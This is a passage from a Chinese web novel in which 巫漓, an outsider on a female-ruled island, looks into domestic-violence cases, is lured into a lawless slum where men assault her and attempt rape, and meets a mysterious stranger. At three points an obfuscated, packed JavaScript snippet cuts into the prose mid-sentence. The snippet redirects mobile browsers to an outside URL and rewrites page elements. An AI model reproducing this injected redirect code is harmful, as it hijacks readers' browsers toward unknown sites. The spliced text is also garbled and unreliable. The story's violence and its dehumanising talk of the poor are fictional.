“你突然出现在岛上就不可疑了吗?也没见我们把你关起来不放呀……况且每个人身上多少都会有一点点小秘密,我们查案就只需要关注眼前的关案件就好了。现在已经证实了不存在家庭暴力情况,只是普通争执而已,接下来就只用劳烦警察口头调节教育一下就可以收工回家了,哪有这么多事?再说了,那件把人打进ICU的家暴案才是重头戏,难道你希望我避重就轻,直到把那起案件的受害者耗死,然后直接去破解杀人案?” 巫漓说不过穆伈雨。 钟耀言和胡胜女的这起案件也确实像个误会。 一对小妻夫结婚后,情感上正常出现了一些隔阂。这次只不过是一场稍微严重些的拌嘴,又恰巧被邻居发现了,所以才会打电话报警。 现在妻夫双方都经历过1V1审讯,如果有一方受到了威胁,也有的是时间单独和警方陈情。所以就目前的情况来看,这起案子真的只是日常情感纠纷。 但是,巫漓仍然觉得有哪里不太对劲。 “我们接下来是去找另外一起家暴案件的受害者吗?” 穆伈雨没理她,快走两步跨上飞车,“砰”地一下砸上了车门。 巫漓不知道她怎么又生气了,也跟着上了副驾驶问:“怎么了嘛?” “你是真的没长记性,还是压根就没有听别人说话的习惯啊?” 穆伈雨从随身携带的精致皮包里拿出颗清凉糖撕开了扔进嘴里,接着又拿出了散粉和口红,一边补妆一边问她。 巫漓刚接触完岛上像独孤艾夏这样的女生,自然默认为在孤魂岛上,精致和爱美已经成为了男孩子的专利。她本来还对此感到有些矛盾,但是现在看到岛主竞选第一名的穆伈雨也随身携带着补妆工具,她很安心。原来孤魂岛的宗旨不是“让女人获得男人的权利”,而是“让女人获得应有的权利”。所以岛上的女人也不会被外貌焦虑所限制,发展出了更多美的可能性。 “我在来的路上就已经跟你说过了,第二起家暴案件的受害人是女方邓才子,她已经被殴打至重伤昏迷了,现在还没有醒。我在来接你之前也已经去找过男方赵芸芸了,他说伤到女方只是意外,按照法律程序不可以一直拘留他,所以今天上午就已经放他回去了。” “那我们现在是要去哪里?” “回家呀。” “啊?” “啊什么啊,今天邓才子的手术要做到很晚,明天应该就可以醒过来了。你今天早点睡觉,我们明天一早就去医院找她问清楚情况。我现在带你回去把你安置好,然后你今天下午就给我老老实实的吃喝玩乐,我还要忙着整理生物研究基地的资料,还有分配人员的事情,你要是敢打扰我,我一定把你丢出去自生自灭,听明白了吗?” “哦。” 飞车的速度很快。 穆伈雨不像独孤艾夏一样在车里听新闻,而是一路放着轻音乐,气氛很柔和。 “你想当岛主吗?”巫漓一直在翻阅笔记本,冷不丁问她。 穆伈雨对这个突然提出的话题,不太确定要怎么回答,“想吧……也不是很想。” 巫漓没有继续追问,在笔记本上写着什么东西,没有再抬头。这个话题就仿佛是吓人的惊雷,唤醒的不是狂风暴雨,而是令人压抑的乌云细雨。 或许是为了缓解尴尬,穆伈雨兀自说了起来。 “反正比起岛主,我更想继承我母亲大人的衣钵,当一个不算太忙的大祭司。岛主整天都忙得连饭都吃不上,我可干不了那辛苦活。 “据我所知,艾夏最近陷入了道德伦理的拷打当中,心理有点变态,对岛主之位应该也是没什么意思的。至于绫冬嘛,她从小就没什么政治渴望,一直在和我姨妈学习预言术,对赚钱和学术比对岛主的位置感兴趣。 “我们四个入选民众投票的候选人当中,最想当岛主的应该是月栀那个家伙。毕竟他是个男人,对岛外的世界也多少有所耳闻,他应该很想把孤魂岛变成外面的样子吧。他妈就是四十年前上岛的人之一。他小时候在我家住过一段时间,还和我妈学过一些高维术法,但是没怎么学好,据说他还自己加入了一部分岛外的学术,不伦不类的。” 穆伈雨斜眼瞄见巫漓在笔记本上写了四个候选人的名字和特点,虽不知道她想做什么,但是对她询问的目的略微有些兴趣。 “为什么会问这个?” 巫漓用下巴按了一下碳素笔,“因为我觉得……开心不起来。” 穆伈雨还以为巫漓会说出什么有意思的话,对这个答案不太满意。 “这倒是很难看出来。就凭你这副饿死鬼看见了一桌子山珍海味的表情,谁要是能看出来你小子有哪怕是一丝半点的不开心,还真都算他长了鹰眼。” “我说的不是我,我说说的是你们。” 巫漓又拿下巴按了一下碳素笔,把笔按开了,在笔记本当前页面的正上方画了一个嘴角向下的难过表情。 这句话倒是让穆伈雨有几分意外,巫漓果然是岛主和大祭司选出来的人,本事不容小觑。 “‘我们’是指……” “你和独孤艾夏呀,因为我只和你们两个人相处过嘛……但是往大了说,我真正想指的是‘它’,也就是这座岛。” “这座岛怎么样我不知道,但是你胆子挺大的,细说。” “我今天早上睁开眼的一瞬间就觉得喘不上气,但是当时艾夏拿枪指着我的头,我就觉得是那个原因。可是后来我被带到岛主办公室的时候,我从岛主的脸上就看不到半点的开心,就连大祭司的墨镜也很不对劲。” “我妈的墨镜是标配,几乎每天都会戴,这有什么奇怪的?” “因为我在来孤魂岛之前,也超级喜欢戴墨镜。但是我戴墨镜的主要原因是心虚,虽然我也不知道我在心虚什么,但是这种感觉就像是某种习惯,很难更改。” 巫漓在本子上空白的地方写上了“大祭司”三个字,又在字的旁边画上了一个眼镜的图案,接着把镜片给涂黑了。 “常年戴墨镜的人,如果其目的是为了掩盖情绪的外露,那么当下摘下眼镜的时候,情绪和心思就会更加掩盖不住地表露出来。大祭司把墨镜推到头顶的时候,我感受到她眼睛里有着非常浓烈情绪——绝望和野心。” 穆伈雨嗤笑了一声,“你这话真是奇怪,一个人都绝望了,哪里还会有野心?” “这我就不得而知了,我只知道这岛上有很多人都不开心……” 巫漓合上笔记本,一抬头,就撞上了穆伈雨灼灼的视线。 穆伈雨的脸距离她很近,她们四目相对,巫漓只觉得她的呼吸都变得局促了起来。不愧是大祭司的儿子,她周身的气场就和大祭司一样,让人不敢直视,却又无法逃避。 “那你呢?我从你的眼睛里只看到了一片混沌,你到底是从哪里来的?你又是谁呢?” 巫漓不知道自己在无意识地往后退缩。 她从很小就害怕别人直视她的眼睛,和别人对视的时候也总是心虚,生怕别人会透过她的眼睛窥探到什么不可说秘密。可就连她自己也弄不清楚那个秘密到底是什么,又为何会让她如此惊恐。 “我的信息你们不是都知道了吗?” “真的吗?” 穆伈雨脸上明明带着笑意,却让巫漓的每一根汗毛都惊恐地站了起来。 “……嗯。” “可是你连名字都是骗人的。” “我的名字……怎么可能……” 巫漓猛然回忆起在岛主办公室的时候。 那时,大祭司问她叫什么名字,她如实地回答她叫巫漓。可是紧接着,她头顶的灯光就微微闪烁了几下,大祭司之前摆在她头顶的碳素笔也掉了下来。 “开玩笑的吧。”巫漓不可置信地解释,“我爸爸姓‘巫’,在我出生之前我妈就给我起了‘巫漓’这个名字了……我一直都是叫巫漓的,我叫巫漓20年了,从来没有改过名字。” “随便吧,我对别人的名字没有这么强的占有欲。” 穆伈雨挥手示意巫漓偏头,看到了窗外的电子系统研究大楼,控制飞车拐进下行航道。 “刚好路过电子大楼,我估摸着你的系统也已经录入完毕了,一会儿我直接帮你上去拿走,省得那些人磨磨蹭蹭半天也送不过来。” “是胡胜女之前下车的那个‘电子系统研究大楼’吗?” “嗯哼,你的记性还不赖嘛,打着瞌睡都能记清楚关键地名。” “我才没有打瞌睡。” 待飞车停稳,穆伈雨从钱包里拿出一沓零钱递给巫漓。 “研究中心的保密权限很复杂,你就别上去了。往前走大概五百米有一条步行街,商场小吃什么的都有,你可以去那边转转,一个小时之内回来就行了。不过注意,千万不要走到太偏僻的地方,那个后面是‘乱区’,那是岛上为数不多没有监控的地方,相当危险。” 巫漓接过钱装进衣服口袋里,问:“‘乱区’是什么?” “‘乱区’就是各种妖魔鬼怪栖身的地方。” “妖魔鬼怪?” “就是穷人。里面很多都是年轻人意外怀孕后丢弃的孩子,他们寿命短暂,心理也非常扭曲。那里本来是一个废弃垃圾场,但是不知道从什么时候起,一堆孤儿和被打压的不法分子在那里占山为王,就变成了‘乱区’。他们人均仇富心理严重,一般不会出来,但是只要你胆敢衣冠楚楚地走进去,他们也绝对不会让你完整无缺地出来。” “懂了,就是贫民窟嘛。” “你要这么说也行,不过他们其实不算民。因为他们没有身份证明、没有社会地位,寿命也和一只猫差不多,所以把那里当成会说话的野兽的聚集地就行了。” 两人下车后,穆伈雨没有再多说废话,和巫漓确定完汇合的时间就上楼去了。 巫漓本来担心自己没有手表,会不会对时间没有概念,但是步行街上的广告显示屏角落处都有标明时间,这也可以让她放下心往里面多转转。 孤魂岛的步行街和外界有很多不同。 除了悬浮水母、全自动书写圆珠笔、以及可以让人短暂飞行的喷气式背包等各种稀奇古怪的高科技小玩意之外,还有很多闻所未闻的新奇小吃。 穆伈雨给的钱很多,巫漓也不像是会省钱的主,边走边买了很多好吃的,比如:口感和肉一样的树叶,还有会不停转圈圈的冰淇淋等。 但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“废话,不偷不抢饿死了你管啊。” 小偷男孩趁巫漓不备挣脱了她的束缚,直接把鲍鱼拆开,用手抓着狼吞虎咽地吃了起来。 巫漓看他吃的正香,抱着手站在旁边想,包装都已经打开了,总不能再抢回来,真是拿他没办法。 “少装了,就你这个样子,离饿死还早着呢。” 小偷男孩吃东西的动作没停,拿起一个鲍鱼塞进嘴里。牙齿咬下去的时候,鲍鱼发出滑稽的尖叫声,油渍也溅到了他干净的米白色手袖上。 “怎么着,不饿死就不能抢了是吧?” “哇,你是怎么有脸说出这种话的?你要是快饿死了抢东西我还能勉强理解一下,但是你活得好好的,单纯是因为闲着无聊去抢东西,你不觉得天理难容吗?” “我管他天理容不容。” 小偷男孩吃完了最后一口尖叫鲍鱼,扔了包装盒子就朝巫漓面门袭来。 巫漓接连闪避了他的几次袭击,两指戳向他的眼睛,趁对方闪避之时,她又抬腿扫向了他核心不稳的下盘,将他绊倒在地。 “哪学的招式?”小偷男孩被巫漓压在身下,还不甘示弱地数落她,“毫无章法,根本就是乱打!” 巫漓也愣住了。 人说情急之下可以激发潜意识,莫非她的潜意识里藏着一个武林高手? “好打乱打无所谓,反正我是把你这个小贼给逮住了。你到底怎么回事啊你,我的东西都给你吃了,你还要打人?” 小偷男孩被压得很难受,但是磕在地上的嘴角却露出了得逞的笑容。 “本来我也不是非打你不可,可是你自己跟进了‘乱区’,这就怪不得我了。就算我不打你,他们也不会放过你的。” 巫漓这时才发现自己居然追这个小贼追进了“乱区”。 她平时也不是一个会留心周围的人,这次也不知道是抽什么风就跟着小贼跑了过来。穆伈雨说过“乱区”很危险,这下可危险了。 巫漓正准备起身原路返回,整个身体就被两只大手抓着吊离了地面。 “没死吧黑子?”粗矿的声音从巫漓身后传来,是抓住她的那个大块头。 小偷黑子粗鲁地擦着脸上的灰,对大块头说:“好你个纳彪,看了半天的热闹,终于舍得出来了昂?” “没办法,能被这么一只弱鸡放倒的人可不多见,我当然要好好观赏一下你的惨样才能高兴呀,哈哈哈……” 仿佛是为了证明自己的武力值爆表,叫做纳彪的大块头掐着巫漓的脖子,重重地把她按在墙上,每一句笑声都充满了鄙夷。 黑子走过去把打斗时散落的纸币给捡起来,放进自己的口袋里,“笑你爹的根,这家伙有两把刷子,你要不是从背后偷袭,估计也会被她扇上几巴掌。” 纳彪不屑地“切”了一声,用没掐着巫漓的那只手粗暴地翻她身上的口袋。 “你……干嘛……” 巫漓被掐得气息不顺,只能用指甲去挠纳彪裸露在空气中的皮肤。 “我艹你个贱蹄子,敢抓你老爹!” 纳彪吃痛收回手,换了个姿势,把巫漓的双手反扣按在地上,再用膝盖压住了她的小腿,让她丝毫动弹不得。 巫漓个子明显小于这个大块头很多,在绝对的力道压制下,她就算拼命挣扎,也绝对不可能在大块头的手底下讨到什么便宜。 遭了—— 巫漓心里暗道不妙,就算是孤魂岛,男人们毕竟也没有丧失功能。尤其是在这种最底层的地方,根本就没有道德法律的约束可言,男人的原始欲望的劣根性只会被无限放大。她如今落到“乱区”的这种男人手里,真不敢想象后果会有多么惨烈。 如果再想不到办法的话,恐怕就真的要玩脱了。 12.孤魂岛 黑子蹲在巫漓面前,“你小子力气挺大啊,还真当我们是‘乱区’外面的扭捏男人呢?劫财还是劫色,你自己选一个吧。” 巫漓想的果然没错,越是在这种混乱的地方,女性的处境就越是危险。 “我连抢我鲍鱼的小贼都要跑这么老远来抓,你们看我像有钱的样子吗?” 黑子摸了几下巫漓的口袋和手腕,有些可惜地咂了下嘴,“全身上下一个电子产品都没有,只有点现金,确实不像那些有钱的家伙。” 巫漓眼看着打不过,连忙示弱道:“是啊是啊,同是天涯沦落人,大哥你给点面子放我走啦。” “给你爸的面子啊!真当老爹是吃素的?” 黑子抬脚用力往地下一戳,铲起来一些泥土飞到了巫漓的脸上。 巫漓来不及闭上嘴,吃到了一些充满霉味的污泥。她一边往外吐泥土一边想,果然还是反应不过来,虽然知道孤魂岛上的传统是骂爹,但是用“老爹”来对应“老娘”还是很奇怪。 不对,如果男人自称“老爹”的话,身为本位的女性就不应该自称为“老娘”,而应该自称“老子”才对。 她委屈巴巴地哀求黑子:“你刚刚才吃了我的一盒鲍鱼,我当然知道你是吃荤的。但我真的就是一孤家寡人,搞不好比你们还穷,你们就算杀了我,也掏不出一分钱来了。现在我仅有的钱和吃的都给你了,大哥你就行行好放了我嘛。” 纳彪插话打断了她,“你拿不出钱,那就让拿得出钱的人来赎你!” 巫漓试着用巧劲儿拔出手腕,但是纳彪的力气相当惊人,钳住她手腕的手根本连一丝都没有松懈。 “我都说了我是一个孤家寡人,让谁来赎我啊?” “岛政府咯。”纳彪坏笑着说:“你可是岛外上来的纯种女人,听说还得到了岛主的认可,身份价值可不是区区几百万卦可以相比的。” 奇怪,岛主认可她的事情,纳彪是怎么知道的? 仿佛是为了回答巫漓的疑问,纳彪就像是宣读自己的获奖感言一样,继续得意地念叨起来:“都被登上新闻了还敢乱跑,你的胆子还真是大昂。这里的人都知道被我们抢了东西不能追,你这个新来的贱蹄子居然还敢跟到‘乱区’来,真是初生牛犊不怕虎,活该被虎宰了吃……” 黑子靠在旁边的墙上,没有耐心听纳彪说完,直接发声让他闭上了嘴,“少做你的春秋大梦了!你是有多少条命可以对抗孤魂岛的高科技?人家人物搜索系统一搜,瞬间就能找到她在哪,再随便安排两个狙击手,你这小爷们怎么死的都不知道。” 纳彪做出可惜的样子,手也开始不安分地伸向巫漓的衣服,“唉呀,那还真是可惜了,这么俊的女人不能拿来讨要赎金,那就只能让老爹我爽一下了,嘿嘿。” “敢动我你就死定了!”巫漓咬牙切齿地挣扎着威胁他。 她看见纳彪的咸猪手,胸腔里就不知怎么的翻江倒海泛起了一阵恶心,恨不得立刻就切下他的烂黄瓜,再把他凌迟成一千八百片扔进焚化炉烧成灰。 就在纳彪即将得逞的时候,小巷子的入口突然传来了一丝声响。 一个逆着光的女子身影出现在那里。 “谁!” 黑子即刻回头,戒备地质问身影。 纳彪只是满不在乎地瞟了一眼来人,看到那是一个身材娇小的女生后,就完全不当回事地继续把注意力锁定在巫漓身上了。 那个女子看到这一幕也没有什么反应,只是语气温柔地问:“请问,死路怎么走?” 她的声音幽远到像是和他们不在一个维度,让黑子一瞬间体验到了后背发寒的感觉。 纳彪对女人从不上心,背对着女生笑道:“嚯,又是一个来送死的俊俏女人,你在找死路啊?过来呀,姑爷爷告诉你死路在哪。” “纳彪!”黑子喊他。 已经抓住巫漓领口准备撕开的纳彪不耐烦地侧身问:“干嘛?” 他回头的瞬间,钳制巫漓的动作出现了破绽。 巫漓本来就怒火中烧,抓到这个破绽更是迅速做出反应,卯足劲儿踢了纳彪下身一脚,在他因疼痛而平衡被破的瞬间,用巧劲掰断了他的一根小拇指,又极速抓住一块石头起身,猛地戳向纳彪眼睛。 很可惜,这一下被他抬手挡住了。 不过,巫漓厉害就厉害在身手比思维敏捷,她没有坚持用石头尖袭击纳彪的眼睛,而是立刻卸下力道,以另一只手化拳趁虚重击他的鼻梁。 从始至终,黑子都没有出手协助过纳彪。 “黑子,你死了?还不快过来帮忙!”纳彪撕心裂肺地吼道。 黑子只是轻飘飘回了一句:“我打不过她。”然后象征性地抬手,表示自己投降了。 至此,巫漓才算是获得了阶段性胜利。 她看了眼捂着自己全身哀嚎的纳彪,确认对方自顾不暇之后,就头也不回地朝来时的方向跑走了。 因为黑子是从建筑物的破损处带巫漓钻到这里的,一路上也没有遇到几个人,所以她猜测,这里其实是“乱区”的边缘地带。在不认识路的情况下,原路返回应该就是目前最优的选择。 又往前跑了几步,巫漓的步伐渐渐缓了下来,站定在距离纳彪二人有三四十米的地方。 虽然是在“乱区”,但在孤魂岛上居然都有人敢这么猖狂,真不敢相信普通女孩在岛外遇到这种情况会有多么危险。 巫漓知道自己是在意气用事,但还是偏过头得意地问纳彪:“大块头,鼻梁和手指哪个断掉比较疼?” 纳彪的鼻子已经变成暗紫色了,疼得说不出话。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031743|160161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >巫漓继续用诅咒的语气对巷子里面的人说:“两位,或者还有躲在暗处的老鼠们,你们有胆子就别缩在‘乱区’里仇富啊。从古至今,对女人为非作歹却不知道用什么手段保住了狗命的脏东西确实不少,但是你们可未必会有这种狗运,我等着看你们死无葬身之地的样子。” 此前阴差阳错救了巫漓的年轻女人一直静默地站在巷子入口,丝毫没有前进或后退的打算。巫漓和她擦身而过,没有看清对方的长相,只是瞥眼瞧见了她极其淡定的侧脸,以及那道仿佛是来自远古时代的浅浅微笑。 从肮脏的小巷子跑回去的路上,她也遇到了几个看着她衣饰华贵而试图攻击她的小混混,无一例外,都是年轻男孩。 巫漓没有对他们客气,凡是不要命胆敢近她身的小鬼,全都被她打得不成人形了。 最后,方向感一向不好的巫漓也是奇迹般地回到了尖叫鲍鱼的店铺面前。 男店员惊异于几分钟前还笑嘻嘻在买鲍鱼的女孩现在怎么灰头土脸的,衣冠也不整齐,关切地询问:“诶,小姐,你怎么这样了?你没事吧?” 巫漓没有即刻回答,而是看着这附近并不算很稀少的行人,问店员:“小哥,这里离‘乱区’很近吗?” 男店员一下黑了脸,热情的态度也消失了。 “没,‘乱区’的边缘离这里至少还有七八公里呢……你刚刚是不是去追抢你东西的小流氓了?他八成不是‘乱区’的人,或者是被赶出来的,因为这一片的治安还比较好,监控也挺多的,‘乱区’的混子一般不会到这边来。” “哦是这样啊,谢谢小哥,我还有一个问题……” 巫漓还想再问问他关于‘乱区’的一些事,但是男店员的脸更黑了。 “您的尖叫鲍鱼好了,小心烫……下一位!” 男店员看起来对人很和气,巫漓也不知道自己说错了什么,竟让他生起气来,选择假装听不见她说的话。 “在孤魂岛上称呼男生‘小哥’可不太礼貌哦。” 巫漓身后传来一道令人感到平和安稳的声音。 她回头一看,居然是那个在小巷子里帮助她的那个女生。 “嗯?”巫漓很惊讶自己居然没有感受到她的靠近。 “孤魂岛上的一些特殊工作者就被叫做‘小哥’,所以你这么称呼那个男店员,他肯定会不高兴的。” 女生说完,伸出右手,微笑着摆出了握手的姿势,“我叫叶无歆,一起走走?” 巫漓听到这个名字才想起来,她就是独孤艾夏觉得很危险的那个岛外人。 可巫漓一向不喜欢参考别人的意见,她只觉得眼前的女孩让她感觉很亲切,所以在衣服上擦了擦手上的污渍,握住了叶无歆的手。 “好啊!我叫巫漓,和你一样,外来的。” 13.孤魂岛 令巫漓没想料到的是,叶无歆的手格外的冰。在快要入夏的季节里,巫漓触碰到叶无歆手掌的瞬间,就像是触摸到了冬日里的一块冰。 巫漓不好意思对第一次见面的人提出意见,让她注意身体,就当做什么都没有发现一样,和叶无歆一起离开了尖叫鱿鱼小店,往步行街人多的地方走去。 “你不是岛外来的吗,怎么会知道孤魂岛上‘小哥’这个称呼不好啊?”巫漓问无歆。 无歆思考了一会,笑着答她:“我猜的。” “这种概念性的词性怎么猜啊?” “在岛外,‘小姐’和‘公主’这一类的词不是早就被用烂了吗?可想而知,孤魂岛上的‘小哥’和‘公子’、‘王子’之类的词也不会好到哪里去。” “真的吗?”巫漓狐疑地看着无歆,“可是我感觉你不像是猜的,像是早就知道了孤魂岛上的很多东西,所以才会这么笃定。” 叶无歆的表情没有变化。 因为巫漓的这段话根本算不上是一个问题,所以她理所应当的没有回答。 “你这身衣服好像有点脏,我和你一起去买一件新的吧。”她转移了话题说。 巫漓低头看自己的衣服,微微皱起了眉头,“哎?还真是欸。” 之前在“乱区”里阴暗的地方没怎么注意,但是现在站在阳光下,巫漓才发现自己身上的衣服比想象当中的更脏。 她同时又想到,自己仅仅只是在那里待了几分钟,衣服就脏乱成这样。按理说“乱区”里应该经常发生斗殴事件才对,虽然不至于随时被别人按在地上打,但是黑子身上那件米白色的外衣还是太干净了。 真是奇怪。 巫漓脑子里转的事情一多就容易忘事,她忽然想起来和穆伈雨约定的时间,遗憾地摇头拒绝,“但是不行啊,我和我朋友约的时间就要到了,我得快点回去,不然食言就不好了。” “离一个小时还早着呢,不用着急。” 叶无歆示意她回头看,背后就是一个非常大的电子时钟。 时钟上的时间才过去了二十多分钟,剩下的时间确实还够她换一身衣服。 “也是,还是去换件衣服吧,不然她那个粉红色的精致飞车被我弄脏的话……”伈雨说不定会直接把我从窗口扔出去。 巫漓正在想象弄脏穆伈雨飞车的后果,突然后知后觉地意识到了什么,惊讶地看向叶无歆。 “等等,我和伈雨约定的一个小时汇合,你又是怎么知道的?别告诉我这也是蒙的啊,我不信!” 叶无歆收敛了眼神,轻声说:“就当是孤魂岛告诉我的。” 明明是如此像谎言的一句推脱之词,巫漓的“超绝第六感”却在她面前失灵了,根本辨别不出这句话的真伪。 怪不得独孤艾夏会说叶无歆很可怕。 她看起来体质不算好,个子和体型都远逊于巫漓,可她居然敢孤身进入“乱区”,并且面对身高体型几乎是她两倍的纳彪也毫不胆怯。而且她走的每一步都不算有力,很明显是不经常锻炼的体质,可能还患有体弱多病的弱症。 谁能想到就是这样的一个少女,居然也能和全速奔跑的巫漓前后脚到达尖叫鲍鱼小店,还没有半分气喘呢? “好了,走吧,前面有一家服装店很适合你,别真的耽误了时间。” 叶无歆大概以前就是这种做事风格,早就习惯了像巫漓这样面对她目瞪口呆表情,温柔地轻轻揽住巫漓的后腰往前走。 巫漓不知道今天是怎么了,老是遇到奇怪的事。 叶无歆揽住她后腰的手分明已经轻到不能再轻了,但巫漓就是感觉有一股巨大的力量在推着她按照叶无歆的想法前进。 “不是,我、我没钱啊,我的钱都被那个小贼给抢走了,你是知道的!” 巫漓还在试图反抗,可这股春风般的力量似乎就是以柔克刚的代表,比纳彪牵制住她的那股力量还要瘆人。 无论是任何人看起来,都只会觉得这是两个好朋友之间亲密的举动,没有人会意识到巫漓双腿的控制权已经属于身边的人了。 叶无歆仍旧是挂着一副纯天然无公害的笑颜哄她走,“没关系,我帮你买就好啦。” “你还有孤魂岛的货币?!”巫漓的下巴都快要惊掉了,示弱讨好般嗲嗲地问:“叶姐姐,别闹了,我胆子很小的,你到底是什么人嘛?” 叶无歆表情认真地回答:“钱是天上掉的,我谁也不是。” “那你来孤魂岛做什么?” “我感应到她不太健康,就过来看看。” “感应……是医生吗?” “不,我不会治病,也没有判断一个人或者一个东西是否生病了的本事,我只是听到了她的声音,便借着休假的空档过来看看她。” 巫漓和叶无歆行走的速度不算快。 巫漓一直在努力感受自己的双腿,试着用大脑控制神经带动肌肉止步,可是她的神经就像和大脑失去了联系,无论如何呼叫,都得不到大腿分部神经系统的回应。 “无歆~”巫漓讨好地喊她,“我们商量个事行不?” “嗯?” “就是,我非常感谢你看在我没钱的份上带我去买衣服,但是我身上太脏了,要不……你就先暂时别碰我了?” 巫漓总不可能直接和叶无歆说:“你能不能把腿还给我?”只能旁敲侧击,问的小心翼翼又奇奇怪怪的,把无歆给逗笑了。 叶无歆似乎想到了什么,默默收回手,道歉道:“抱歉,我忘了,不是故意的。” 巫漓还没来得及问她“不是故意的”是什么意思,双腿就忽然间恢复了知觉,让她一下子没站稳崴了脚。 “啊!” “没事吧?”无歆回头问她。 巫漓坐在路边的台阶上揉着脚腕。 “没事……” 巫漓逞能说完,用力想站起来,却又再次摔了下去。 她尴尬地假笑了两声,“那个……我好像确实有点事。” 无歆没有说什么,径直走到她身边蹲下,掀起她伤腿的裤脚,将冰冷的手指轻轻点在伤处。 巫漓只感觉脚踝处有一阵清风拂过,疼痛竟奇迹般地消失了。 “哇,神医啊?!”巫漓站起来跳了几下,半开玩笑半试探地赞美无歆,“医术这么高明,还说说自己不会治病,未免太谦虚咯。” 无歆知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034882|160161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她在试探,没有接她的话,偏头看着一家服装店说:“到了,进去吧。” 在门口,巫漓看到了一个瘦成纸板的男装模特,还有三个身材差异很大的女装模特,最大的一个如果换算成真人的体重的话,应该至少有300公斤。 其余的模特还有十几个,遍布在时装店的各处。 她们往里面走,男店员看到巫漓脏得不成样子的衣服惊诧了一下,随后可能又顾忌到叶无歆身上不俗的禅风衣裤和气质,标志性的微笑掩盖了掀起的表情,恭恭敬敬地问她们:“两位是一起的吗?里面请,请问需要买点什么?” “买衣服。”无歆说。 这家店看起来格调很高,服务态度也很到位。 服务员看到巫漓衣服的损伤情况和材质款式,大概就明白了她们的消费水平,以及购物需求。 “好的,主要是您朋友购买吧?因为我看她可能是不小心弄脏了衣服,需要我为你们准备一盆水清洁一下吗?” “要的,谢谢。” 男服务员带她们到了试衣服的座位,给他们一人倒了一杯柠檬水,说请二位稍等片刻,就跑去准备温水和一次性毛巾了。 巫漓环视店内布局时,看到店里有一个男装模特身上穿着一件米白色的上衣,款式和材质都非常眼熟,好像和黑子穿的是同一件。 她抬手叫来另一个服务员。 “那件衣服可以给我看看吗?” “可以的小姐,不过那是男装哦,尺码会比均码小一点。您确定没错的话,我稍后就给您拿一件您的尺码。” “谢了。” 男服务员很快就把温水和一次性毛巾拿来了。 叶无歆点了几件衣服让他拿给巫漓试穿,竟然每一件都恰好踩在了巫漓的审美点上。 米白色春季短款牛仔外套最先拿来。 巫漓简单用一次性毛巾沾水擦完了皮肤表面的污垢,立刻就抓起这件衣服仔细摸索它用的面料,然后闭上眼睛回忆黑子的样子。 她打倒黑子时触摸过那件衣服,不仅与时装店里的这件衣服材质款式相同,左胸前的棕色小熊图案也一模一样,就连黑子盖住耳朵和后颈的短发偏开时,领子上的品牌标志也一般无二。 无歆拿起桌子上的柠檬水喝了一口,“怎么,喜欢这件衣服吗?” 巫漓看到无歆这副事不关己、莫不经心的模样,不信她没有注意到这就是黑子身上的那件衣服。 不过,就算她注意到了又能怎么样呢?这件衣服除了可以证明黑子不至于一穷二白之外,好像怎么也证明不了。 巫漓翻开吊牌看了一眼价钱,不假思索地把衣服扔到了皮沙发上,俏皮地对无歆说:“这个颜色好像挺显黑的,我才不喜欢。” 在叶无歆似有似无的笑容里,巫漓觉得她好像是在告诉自己什么。 两千一百卦的短款牛仔外套……已知“卦”和“元”单位相差不多,虽然这个价位的衣服算不上贵,但是对于一个会抢别人东西吃的小贼来说,也绝对算是一笔巨款。 巫漓头疼地拿起了两件无歆挑选的衣服进试衣间,换衣服的时候一直在想,这个结论真的只能证明黑子不是穷鬼吗? 14.孤魂岛 巫漓拿着叶无歆为她挑选的几件衣服进了试衣间,最后换了一身低调的运动装出来。 “喜欢这身?”叶无歆问。 “合适吗?”巫漓转了一圈给她看,目光还恋恋不舍地看向一条复古暗纹的白色长裙,“本来我很喜欢那条裙子的,但是我怕又发生刚才那种事情不方便,想来想去,在别人的地盘买衣服还是要以使用为重。” 无歆点头,拿了一张金卡给服务员,说这套运动装和那条白色长裙都要。 服务员笑容满面地接过金卡,帮巫漓剪掉了衣服上的吊牌,又回到柜台把旧衣服和白色长裙打包装好。 服务员打包的时候,叶无歆双手捧着水杯抿柠檬水,巫漓还是忍不住问她:“你没有什么想和我说的吗?” 叶无歆反问:“我需要说什么?” “我也不知道,但是我认为你一定不是无意间碰到我的。我来步行街之后遇到的一切都很奇怪。先是一个不穷的小贼一时技痒抢了我的东西,然后我居然一反常态追了过去,接着你又突然出现在可能是‘乱区’的地方,现在还不知道为什么邀请我一起逛街,帮我买衣服。” 巫漓说着,蓦地意识到了问题。 “不对,奇怪的事情应该是从我睁眼的那一刻开始的。我莫名其妙出现在孤魂岛上本来就很诡异,我看过孤魂岛的地图,四面邻海,距离我家可还离着十万八千里。就我乘坐的那艘小船,漂死了也不可能漂到这儿。但是独孤艾夏和伈雨都说我是突然出现的,除了那艘船,没有乘坐过任何可疑的交通工具。 